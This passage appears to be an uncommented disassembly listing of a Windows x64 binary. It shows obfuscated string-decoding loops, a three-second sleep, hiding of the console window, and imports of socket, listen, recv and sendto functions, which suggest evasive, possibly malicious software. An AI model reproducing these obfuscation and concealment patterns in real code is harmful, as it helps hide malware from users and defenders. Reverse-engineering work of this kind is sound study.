add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd954
lea ecx, [rdi - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x1400de448
lea edx, [rdi - 0x76]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400de404
lea edx, [rdi + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400de3d2
lea ecx, [rdi - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
jmp 0x1400de3cf
movzx ebx, dil
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x1400de3af
lea edx, [rdi + 0x42]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rdi
inc rdi
jmp 0x1400dd954
lea edx, [rdi - 0x10]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400dd954
movzx ebx, dil
lea ecx, [rbx - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x52
jmp 0x1400de346
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400ddfb7
lea ecx, [rdi + 0x29]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1f
jmp 0x1400dde3c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ddfeb
lea ecx, [rdi - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
movzx eax, byte [rbp + rdi + 0x260]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd954
inc rax
cmp r8, rax
jne 0x1400de00d
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x1400de448
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400de034
movzx ebx, dil
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x1400de3af
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400dde3c
movzx ebx, dil
lea ecx, [rbx + 0x4a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
jmp 0x1400de346
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400de086
movzx ebx, dil
lea ecx, [rbx + 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5f
jmp 0x1400de346
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400de0af
lea ecx, [rdi - 0x45]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1d
dec rdi
inc rdi
jmp 0x1400dd954
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400de0d2
lea ecx, [rdi + 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x67
jmp 0x1400de3cf
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400de0f5
lea ecx, [rdi + 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x15
jmp 0x1400de404
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400de118
lea ecx, [rdi + 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x53
jmp 0x1400de448
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400dddf4
lea ecx, [rdi - 0x59]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6f
movzx eax, byte [rbp + rdi + 0x260]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd954
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400de184
lea ecx, [rdi + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
movzx eax, byte [rbp + rdi + 0x260]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd954
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400de1ac
lea edx, [rdi + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400de404
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400de1d4
lea edx, [rdi + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400de3d2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400de1f7
lea ecx, [rdi - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
jmp 0x1400de3cf
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400de225
lea edx, [rdi + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rdi
inc rdi
jmp 0x1400dd954
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400dddb5
movzx ebx, dil
lea ecx, [rbx + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x1400de346
movzx ebx, dil
lea edx, [rbx - 0x58]
movzx eax, dl
and al, r11b
movzx ecx, byte [rbp + rdi + 0x260]
sub cl, al
add cl, 0x34
lea r10d, [rcx + rcx]
jmp 0x1400de3ac
lea edx, [rdi - 6]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400de404
lea ecx, [rdi + 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
movzx eax, byte [rbp + rdi + 0x260]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd954
lea ecx, [rdi - 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7b
jmp 0x1400de448
lea ecx, [rdi + 0x49]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
inc r10b
jmp 0x1400de3d2
lea ecx, [rdi + 0x53]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x45
dec rdi
inc rdi
jmp 0x1400dd954
movzx ebx, dil
lea edx, [rbx - 0x51]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x37
jmp 0x1400de343
movzx ebx, dil
lea edx, [rbx + 0xb]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4d
add r10b, dl
add bl, 0x7f
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
sub r11b, 0x79
add r11b, bl
mov byte [rbp + rdi + 0x260], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400dd954
lea ecx, [rdi + 0x67]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x2f
dec rdi
inc rdi
jmp 0x1400dd954
movzx ebx, dil
lea edx, [rbx + 0x15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x6d
add r10b, dl
sub bl, 0x2f
movzx eax, r11b
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x49
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x260], cl
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400dd954
lea rcx, [rdi + r15]
movzx r11d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x27
lea edx, [rdi + 0x23]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0xb
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x260], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400de448
lea rcx, [rdi + r12]
movzx r11d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x65
lea ecx, [rdi + 0x4c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x14
add r11b, cl
mov byte [rbp + rdi + 0x260], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x260]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd954
lea rcx, [rdi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x5d
movzx eax, byte [rbp + rdi + 0x260]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd954
add dil, 0x4d
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x1b
jmp 0x1400dd950
sub dil, 5
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
add r10b, 0x23
jmp 0x1400dd940
lea rcx, [rbp + 0x175bdec]
jmp 0x1400de509
lea rcx, [rbp + 0xa1f615]
jmp 0x1400de509
lea rcx, [rbp + 0x260]
call fcn.140040a00
mov byte [rbp + 0x190], reloc.WS2_32.dll_listen
mov byte [rbp + 0x191], Ordinal_217
mov byte [rbp + 0x192], 0xea
mov byte [rbp + 0x193], 0xda
mov byte [rbp + 0x194], Ordinal_217
mov byte [rbp + 0x195], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x196], 0xfa
mov byte [rbp + 0x197], 0xe4
mov byte [rbp + 0x198], Ordinal_211
mov byte [rbp + 0x199], Ordinal_217
mov byte [rbp + 0x19a], 0xda
mov byte [rbp + 0x19b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x19c], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x19d], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x19e], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x19f], Ordinal_217
mov byte [rbp + 0x1a0], 7
mov byte [rbp + 0x1a1], Ordinal_41
mov byte [rbp + 0x1a2], Ordinal_35
mov byte [rbp + 0x1a3], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x1a4], 0xda
mov byte [rbp + 0x1a5], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1a6], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x1a7], Ordinal_27
mov byte [rbp + 0x1a8], reloc.WS2_32.dll_select
mov byte [rbp + 0x1a9], Ordinal_45
mov byte [rbp + 0x1aa], Ordinal_41
mov byte [rbp + 0x1ab], Ordinal_200
mov byte [rbp + 0x1ac], 0xa2
xor eax, eax
mov word [rbp + 0x1ad], ax
mov byte [rbp + 0x1af], al
movabs rsi, 0x996a930fb9ce4bf5
movabs r14, 0x64bf2b8d8840ab9d
movabs r12, 0x31ea056e14a413b3
movabs r15, 0xcc3fb92f2d6ae3df
movzx r11d, byte [rbp + 0x3c0]
nop dword [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor eax, eax
mov ebx, eax
cmp rbx, 0x20
jae 0x1400df115
movzx r10d, byte [rbp + rbx + 0x190]
mov rdx, r10
nop word [rax + rax]
cmp r8, rbx
ja 0x1400df10c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400de67c
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
add r11b, 0x4d
jmp 0x1400de6c2
je 0x1400df0a5
inc rax
cmp r8, rax
je 0x1400df025
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400deff7
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400defb8
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400def98
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400def75
cmp r9, rbx
ja 0x1400df103
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400de6eb
lea ecx, [rbx + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x51
jmp 0x1400de720
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400def30
inc rax
cmp r8, rax
je 0x1400def10
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400deef6
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400deedc
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400deb91
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400deb6f
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400deb4c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400deb27
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400deb0a
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400deae8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400deac9
lea rcx, [r9 + 0x80]
cmp r8, rcx
je 0x1400deaaf
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400de730
mov r8, rcx
lea r9, [rcx + 2]
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400df0e9
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x1400df0d0
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x1400de8c4
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400de8aa
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x1400de890
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400dea68
lea rcx, [r9 + 0x2a]
cmp r8, rcx
jb 0x1400dea22
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400de9dd
mov r8, rcx
lea r9, [rcx + 2]
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400de9b2
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x1400de993
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x1400de979
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x1400de95f
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x1400de93d
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400de920
lea rcx, [r9 + 0x2a]
cmp r8, rcx
ja 0x1400de8fb
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400de8de
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400de730
mov r8, rcx
lea r9, [rcx + 0x20]
jmp 0x1400de730
lea ecx, [rbx + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x31
jmp 0x1400de720
lea ecx, [rbx + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x35
jmp 0x1400de6c2
lea ecx, [rbx + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x65
jmp 0x1400de647
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
movzx edi, bl
jmp 0x1400def48
lea edx, [rbx - 0xc]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400de634
lea ecx, [rbx + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x46
movzx edi, bl
jmp 0x1400defd0
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x1400df00c
lea ecx, [rbx + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7a
jmp 0x1400df00c
lea ecx, [rbx + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x14
jmp 0x1400df03b
lea edx, [rbx + 0x62]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400df061
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400de634
lea ecx, [rbx - 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x63
cmp r9, 0x3e8
jb 0x1400dee91
movzx edi, bl
lea ecx, [rdi - 0x62]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_socket
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x1400def48
lea ecx, [rbx - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 3
cmp r8, 0xa
jae 0x1400deea1
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400ded90
lea ecx, [rbx + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x56
jmp 0x1400de9f2
lea ecx, [rbx - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x69
lea rax, [r8 + r9]
cmp rax, 0xa
je 0x1400deec6
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400decbe
lea ecx, [rbx + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x59
jmp 0x1400dea37
lea ecx, [rbx - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4e
jmp 0x1400df03b
lea edx, [rbx - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400df00c
lea edx, [rbx - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x1400df00c
movzx edi, bl
lea ecx, [rdi + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1c
jmp 0x1400defd0
lea edx, [rbx + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400de634
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
inc r9
dec rbx
inc rbx
jmp 0x1400de634
movzx edi, bl
lea edx, [rdi + 0x46]
movzx eax, dl
and al, r10b
mov ecx, ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400def48
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400debb4
lea ecx, [rbx - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x4d
jmp 0x1400dea7d
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400debe8
lea ecx, [rbx + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5e
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400de634
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dec10
lea edx, [rbx - 0x10]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400df00c
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400dec3b
lea edx, [rbx - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x1400df00c
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400dec61
movzx edi, bl
lea ecx, [rdi - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5c
jmp 0x1400defd0
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dec8f
lea edx, [rbx - 0x52]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400de634
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400dea7d
movzx edi, bl
lea edx, [rdi - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400def48
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dece4
movzx edi, bl
lea ecx, [rdi + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xd
jmp 0x1400def48
inc rax
cmp r8, rax
jne 0x1400ded0f
lea ecx, [rbx + 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x73
inc r9
dec rbx
inc rbx
jmp 0x1400de634
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ded35
movzx edi, bl
lea ecx, [rdi + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3f
jmp 0x1400defd0
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ded58
lea ecx, [rbx - 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x71
jmp 0x1400df03b
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400dea37
lea ecx, [rbx - 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3d
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400de634
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dedc9
lea edx, [rbx + 0x64]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400de634
inc rax
cmp r8, rax
jne 0x1400dedeb
lea ecx, [rbx + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x22
jmp 0x1400df061
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dee13
lea edx, [rbx + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400df00c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dee39
lea ecx, [rbx + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
add r8, r9
jmp 0x1400df00c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400dee62
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
dec rbx
inc rbx
jmp 0x1400de634
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400de9f2
movzx edi, bl
lea edx, [rdi - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400def48
mov byte [rbp + rbx + 0x190], r11b
inc rbx
jmp 0x1400de634
movzx edi, bl
lea edx, [rdi - 0x78]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + rbx + 0x190]
sub cl, al
add cl, 0x24
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400defd0
lea ecx, [rbx + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rcx - 0x1e]
jmp 0x1400df03b
lea ecx, [rbx + 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x79
jmp 0x1400df03b
lea ecx, [rbx - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x13
jmp 0x1400df00c
lea ecx, [rbx - 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1f
dec rbx
inc rbx
jmp 0x1400de634
movzx edi, bl
lea ecx, [rdi + 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x15
sub dil, 0x6d
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 5
add dil, r10b
mov byte [rbp + rbx + 0x190], dil
inc r9
dec rbx
inc rbx
jmp 0x1400de634
lea ecx, [rbx + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1d
inc r9
dec rbx
inc rbx
jmp 0x1400de634
lea ecx, [rbx + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7d
dec rbx
inc rbx
jmp 0x1400de634
movzx edi, bl
lea ecx, [rdi + 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x17
add dil, 0x7d
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x6b
add dil, r11b
add dil, r10b
mov byte [rbp + rbx + 0x190], dil
add r8, r9
jmp 0x1400df00c
lea rcx, [rbx + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x4b
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400de634
lea rax, [rbx + r12]
movzx r10d, dl
and dl, al
add dl, dl
sub al, dl
lea r11d, [r10 + rax]
add r11b, 0x1b
lea ecx, [rbx + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x2f
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x190], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x190], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400de634
lea rcx, [rbx + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x19
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400de634
add bl, 0x49
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
inc r11b
jmp 0x1400de630
add bl, 0x5f
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
add r11b, 0x67
jmp 0x1400de620
lea rcx, [rbp + 0x15b0a2c]
jmp 0x1400df11c
lea rcx, [rbp + 0xe95621]
jmp 0x1400df11c
lea rcx, [rbp + 0x190]
call fcn.140040a00
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rsi, 0xaf8a62f7814c2763
movabs r14, 0x2bdd7ab38bad627b
movabs r12, 0xccc8b4c4891513b5
movabs r13, 0x6db3eed5867cc4ef
movabs r15, 0xe9f28e683e47629
movzx edi, byte [rbp + 0x3c0]
nop word [rax + rax]
mov qword [rsp + 0x40], 1
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400e4fa0
mov rcx, rax
call fcn.14001dc00
mov byte [rbp + 0x290], 0x64
mov byte [rbp + 0x291], 0x40
mov byte [rbp + 0x292], WSAStartup
mov byte [rbp + 0x293], 0x47
